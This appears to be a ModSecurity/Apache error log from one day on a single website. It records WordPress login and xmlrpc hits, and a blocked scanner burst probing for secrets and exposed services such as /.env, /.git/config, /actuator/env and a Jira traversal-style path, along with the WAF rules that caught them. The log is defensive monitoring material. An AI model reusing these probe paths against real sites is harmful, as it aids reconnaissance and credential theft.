[Wed Nov 12 15:10:00.540274 2025] [:error] [pid 60180:tid 60206] [client 66.42.61.4:54638] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.42.61.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQyyFhgd7ccS8EZg1oDMwAAAVg"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 15:39:00.654876 2025] [:error] [pid 60096:tid 60158] [client 43.128.85.168:52022] [client 43.128.85.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.128.85.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQ5lDmzkhCvvk8DXOxxHAAAAJg"]
[Wed Nov 12 15:39:06.700159 2025] [:error] [pid 60096:tid 60131] [client 43.128.85.168:52022] [client 43.128.85.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.128.85.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRQ5mjmzkhCvvk8DXOxxJgAAAIU"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 16:19:10.718096 2025] [:error] [pid 60405:tid 60416] [client 62.72.46.63:56900] [client 62.72.46.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.72.46.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRRC_nMGv_mlVi6mf5rRuwAAAAg"]
[Wed Nov 12 16:35:59.175746 2025] [:error] [pid 60097:tid 60169] [client 51.255.148.60:43020] [client 51.255.148.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.255.148.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRRG78dT5oio_TbWpi9VlgAAANA"]
[Wed Nov 12 17:09:20.494455 2025] [:error] [pid 60405:tid 60408] [client 77.68.30.96:53446] [client 77.68.30.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.30.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRROwHMGv_mlVi6mf5rjRQAAAAA"]
[Wed Nov 12 17:09:20.622385 2025] [:error] [pid 60405:tid 60409] [client 66.29.146.69:52728] [client 66.29.146.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRROwHMGv_mlVi6mf5rjRgAAAAE"]
[Wed Nov 12 17:09:23.396192 2025] [:error] [pid 60405:tid 60413] [client 66.29.146.69:52728] [client 66.29.146.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRROw3MGv_mlVi6mf5rjSAAAAAU"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 17:58:25.386964 2025] [:error] [pid 23737:tid 23767] [client 78.157.49.100:54198] [client 78.157.49.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.157.49.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRRaQRQUsVVfOZWgW_WPDAAAAZI"]
[Wed Nov 12 17:58:52.479157 2025] [:error] [pid 60096:tid 60127] [client 78.157.49.100:60552] [client 78.157.49.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.157.49.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRRaXDmzkhCvvk8DXOyUfQAAAIE"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 18:01:34.202476 2025] [:error] [pid 12744:tid 12752] [client 207.154.212.47:56794] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/@vite/env"] [unique_id "aRRa_p1cp_ouUvkFj0VKHwAAAQQ"]
[Wed Nov 12 18:01:35.248486 2025] [:error] [pid 60095:tid 60109] [client 207.154.212.47:56802] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/actuator/env"] [unique_id "aRRa_3lw2elroagFF1omPAAAAEo"]
[Wed Nov 12 18:01:36.392416 2025] [:error] [pid 60095:tid 60121] [client 207.154.212.47:56812] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRRbAHlw2elroagFF1omPwAAAFY"]
[Wed Nov 12 18:01:37.271862 2025] [:error] [pid 60097:tid 60169] [client 207.154.212.47:56822] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/server"] [unique_id "aRRbAcdT5oio_TbWpi9tqwAAANA"]
[Wed Nov 12 18:01:38.144415 2025] [:error] [pid 60180:tid 60194] [client 207.154.212.47:56836] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aRRbAlhgd7ccS8EZg1o0YQAAAUw"]
[Wed Nov 12 18:01:39.058391 2025] [:error] [pid 12744:tid 12752] [client 207.154.212.47:56838] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/about"] [unique_id "aRRbA51cp_ouUvkFj0VKOgAAAQQ"]
[Wed Nov 12 18:01:39.796609 2025] [:error] [pid 60096:tid 60151] [client 207.154.212.47:56842] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/debug/default/view"] [unique_id "aRRbAzmzkhCvvk8DXOyU7wAAAJM"]
[Wed Nov 12 18:01:40.543706 2025] [:error] [pid 23737:tid 23761] [client 207.154.212.47:37854] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aRRbBBQUsVVfOZWgW_WQEQAAAYw"]
[Wed Nov 12 18:01:41.318142 2025] [:error] [pid 60180:tid 60184] [client 207.154.212.47:37860] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRRbBVhgd7ccS8EZg1o0ZAAAAUI"]
[Wed Nov 12 18:01:42.047587 2025] [:error] [pid 60097:tid 60147] [client 207.154.212.47:37866] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/server-status"] [unique_id "aRRbBsdT5oio_TbWpi9trgAAAMI"]
[Wed Nov 12 18:01:42.769812 2025] [:error] [pid 23737:tid 23757] [client 207.154.212.47:37882] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/login.action"] [unique_id "aRRbBhQUsVVfOZWgW_WQIgAAAYg"]
[Wed Nov 12 18:01:45.438195 2025] [:error] [pid 60097:tid 60177] [client 207.154.212.47:37906] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/.DS_Store"] [unique_id "aRRbCcdT5oio_TbWpi9tswAAANg"]
[Wed Nov 12 18:01:46.341819 2025] [:error] [pid 60096:tid 60156] [client 207.154.212.47:37922] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aRRbCjmzkhCvvk8DXOyU-AAAAJY"]
[Wed Nov 12 18:01:47.088556 2025] [:error] [pid 60096:tid 60148] [client 207.154.212.47:37936] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aRRbCzmzkhCvvk8DXOyU-gAAAJI"]
[Wed Nov 12 18:01:48.027546 2025] [:error] [pid 60097:tid 60166] [client 207.154.212.47:37938] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRRbDMdT5oio_TbWpi9ttwAAAM0"]
[Wed Nov 12 18:01:48.919942 2025] [:error] [pid 60405:tid 60409] [client 207.154.212.47:37940] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/config.json"] [unique_id "aRRbDHMGv_mlVi6mf5rw5AAAAAE"]
[Wed Nov 12 18:01:49.677468 2025] [:error] [pid 60096:tid 60128] [client 207.154.212.47:37950] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/telescope/requests"] [unique_id "aRRbDTmzkhCvvk8DXOyU_gAAAII"]
[Wed Nov 12 18:01:50.494454 2025] [:error] [pid 60097:tid 60142] [client 207.154.212.47:59664] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/info.php"] [unique_id "aRRbDsdT5oio_TbWpi9tvAAAAMA"]
[Wed Nov 12 18:01:51.239276 2025] [:error] [pid 23737:tid 23764] [client 207.154.212.47:59676] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRRbDxQUsVVfOZWgW_WQJwAAAY8"]
[Wed Nov 12 18:13:11.267095 2025] [:error] [pid 12744:tid 12759] [client 192.64.112.17:33884] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.112.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRRdt51cp_ouUvkFj0VOFwAAAQs"]
[Wed Nov 12 18:13:15.671322 2025] [:error] [pid 12744:tid 12759] [client 192.64.112.17:33884] [client 192.64.112.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.112.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRRdu51cp_ouUvkFj0VOHgAAAQs"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 18:23:37.533973 2025] [:error] [pid 60097:tid 60152] [client 34.91.83.63:42990] [client 34.91.83.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.91.83.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRRgKcdT5oio_TbWpi90qQAAAMU"]
[Wed Nov 12 18:43:04.457317 2025] [:error] [pid 12744:tid 12766] [client 103.113.67.34:45196] [client 103.113.67.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.113.67.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRRkuJ1cp_ouUvkFj0VZYwAAARI"]
[Wed Nov 12 18:46:09.951451 2025] [:error] [pid 12744:tid 12764] [client 155.138.230.10:32968] [client 155.138.230.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.138.230.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRRlcZ1cp_ouUvkFj0VaRAAAARA"]
[Wed Nov 12 19:03:13.843007 2025] [:error] [pid 60097:tid 60175] [client 43.205.89.119:50014] [client 43.205.89.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.205.89.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRRpccdT5oio_TbWpi9-0gAAANY"]
[Wed Nov 12 19:32:15.512311 2025] [:error] [pid 60180:tid 60200] [client 72.60.148.188:11678] [client 72.60.148.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.60.148.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRRwP1hgd7ccS8EZg1pNzAAAAVI"]
[Wed Nov 12 19:32:36.092220 2025] [:error] [pid 23737:tid 23750] [client 72.60.148.188:36010] [client 72.60.148.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.60.148.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRRwVBQUsVVfOZWgW_WzfgAAAYE"]
[Wed Nov 12 19:50:40.539844 2025] [:error] [pid 60180:tid 60192] [client 34.179.177.28:60768] [client 34.179.177.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.179.177.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRR0kFhgd7ccS8EZg1pRYAAAAUo"]
[Wed Nov 12 19:50:44.095264 2025] [:error] [pid 60180:tid 60193] [client 34.179.177.28:60768] [client 34.179.177.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.179.177.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRR0lFhgd7ccS8EZg1pRawAAAUs"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 20:28:17.812922 2025] [:error] [pid 60097:tid 60147] [client 89.252.169.182:54074] [client 89.252.169.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.252.169.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRR9YcdT5oio_TbWpi-OdAAAAMI"]
[Wed Nov 12 20:31:10.962967 2025] [:error] [pid 60180:tid 60200] [client 92.205.20.105:39282] [client 92.205.20.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.20.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRR-Dlhgd7ccS8EZg1pYrAAAAVI"]
[Wed Nov 12 20:31:34.101068 2025] [:error] [pid 12744:tid 12751] [client 92.205.20.105:35866] [client 92.205.20.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.20.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRR-Jp1cp_ouUvkFj0VzUAAAAQM"]
[Wed Nov 12 20:31:55.032994 2025] [:error] [pid 60095:tid 60106] [client 92.205.20.105:42242] [client 92.205.20.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.20.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRR-O3lw2elroagFF1pEYAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 20:42:20.645449 2025] [:error] [pid 60405:tid 60429] [client 146.190.81.111:44748] [client 146.190.81.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.81.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRSArHMGv_mlVi6mf5oVyQAAABU"]
[Wed Nov 12 20:42:22.308988 2025] [:error] [pid 60405:tid 60428] [client 146.190.81.111:44748] [client 146.190.81.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.81.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRSArnMGv_mlVi6mf5oVzgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 20:50:51.970251 2025] [:error] [pid 60097:tid 60171] [client 45.119.85.202:39156] [client 45.119.85.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.119.85.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSCq8dT5oio_TbWpi-T0QAAANI"]
[Wed Nov 12 21:22:50.732865 2025] [:error] [pid 60180:tid 60192] [client 92.205.20.105:53082] [client 92.205.20.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.20.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSKKlhgd7ccS8EZg1pj2QAAAUo"]
[Wed Nov 12 21:36:32.104554 2025] [:error] [pid 60097:tid 60164] [client 194.63.239.143:45472] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.63.239.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSNYMdT5oio_TbWpi-dqAAAAMs"]
[Wed Nov 12 22:01:33.452796 2025] [:error] [pid 60095:tid 60122] [client 128.199.157.207:58118] [client 128.199.157.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.157.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSTPXlw2elroagFF1pU4wAAAFc"]
[Wed Nov 12 22:23:29.174534 2025] [:error] [pid 23737:tid 23761] [client 172.245.155.10:43972] [client 172.245.155.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.245.155.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSYYRQUsVVfOZWgW_XnLgAAAYw"]
[Wed Nov 12 22:38:32.279979 2025] [:error] [pid 60097:tid 60144] [client 192.99.21.197:53830] [client 192.99.21.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.21.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRSb6MdT5oio_TbWpi-ougAAAME"]
[Wed Nov 12 22:38:56.775079 2025] [:error] [pid 60096:tid 60128] [client 192.99.21.197:55060] [client 192.99.21.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.21.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRScADmzkhCvvk8DXOzNTAAAAII"]
[Wed Nov 12 22:39:02.013057 2025] [:error] [pid 60096:tid 60133] [client 192.99.21.197:55060] [client 192.99.21.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.21.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRScBjmzkhCvvk8DXOzNUQAAAIc"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 22:43:44.134859 2025] [:error] [pid 23737:tid 23760] [client 190.92.169.39:46794] [client 190.92.169.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.169.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSdIBQUsVVfOZWgW_Xs5gAAAYs"]
[Wed Nov 12 22:45:54.202274 2025] [:error] [pid 60405:tid 60432] [client 52.242.231.163:29384] [client 52.242.231.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.242.231.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSdonMGv_mlVi6mf5ovswAAABg"]
[Wed Nov 12 23:04:06.410204 2025] [:error] [pid 60097:tid 60147] [client 14.225.216.240:35142] [client 14.225.216.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.225.216.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSh5sdT5oio_TbWpi-taQAAAMI"]
